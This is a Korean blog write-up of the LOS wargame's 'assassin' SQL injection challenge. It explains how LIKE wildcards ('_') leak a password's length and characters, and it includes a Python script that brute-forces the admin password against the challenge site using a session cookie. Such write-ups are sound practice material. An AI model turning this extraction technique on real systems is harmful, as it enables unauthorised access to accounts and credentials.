Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- Service
- 경기팀
- 불법유통근절
- 대외활동
- 기타정보
- 화학물질불법유통온라인감시단
- 국가정보원
- 정보보안
- 여행
- codeup
- 파이썬
- 화학물질안전원
- 불법유통
- 도구모음
- 국가기록원
- Los
- 12기
- nurisec
- PHP
- HTML
- UKPT
- 국정원
- MITRE ATT&CK
- 연구모임
- 웹 해킹 입문
- 프로젝트
- 화학물질
- UKPT level
- suninatas
- webhacking
Archives
- Today
- Total
agencies
LOS assassin 문제 풀이 본문
지금까지 보았던 pw = 형식과 다르게 like를 사용하는 모습을 볼 수 있었습니다.
검색을 해보니... like를 통해 와일드카드를 사용할 수 있다고 합니다.
이를 통해 패스워드의 길이와 값을 알아낼 수 있다고 합니다.
_를 8번 입력하니 Hello guest가 나타났습니다.
앞에 9를 입력하고 나머지는 글자수만큼 _로 채워줬습니다.
패스워드가 8자리만 나타나야하는데 계속 파이썬 스크립트 코드가 돌아가는 모습을 볼 수 있었습니다.
* flag 변수 한개만 있었네요..
스크립트의 잘못된 부분을 찾아보기 위해 하나씩 대입하던 중 902_____를 입력했더니 문제를 풀었다고 합니다.
guest는 패스워드가 나타났으나...
admin 같은 경우 아래의 사진처럼 guest의 패스워드가 중복이 되어 패스워드가 나오지 않았다를 유추할 수 있었습니다.
수정된 파이썬 스크립트
import requests as r
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
dic = "90abcdef12345678"
i=8
flag = ""
guest = ""
#패스워드 검사
for j in range(1,i+1):
l = "_"*int(i-j)
ll = "_"*int(j-1)
for k in dic:
p = "{0}{1}{2}".format(ll,k,l)
res = r.get(url+p,cookies={"PHPSESSID":"vgjb9eaaankiq042bvju3up9ll"})
if "Hello admin" in res.text:
flag+=k
print("[*] flag password is :",flag)
if "Hello guest" in res.text:
guest+=k
print("guest password :",guest)
if (k == "8") and (len(flag)<len(guest)):
flag+=guest[j-1]
print("[*] flag password is :",flag)
'Ⅲ. 정보보안' 카테고리의 다른 글
[프로젝트] LOS v0.3 (0) | 2024.03.11 |
---|---|
해커스쿨 강좌실 : SQL Injection for Expert (rubiya) (0) | 2024.03.11 |
[프로젝트] LOS v0.2 (0) | 2024.03.10 |
LOS 문제풀이 : orge (0) | 2024.03.09 |
[프로젝트] LOS v0.1 (0) | 2024.03.09 |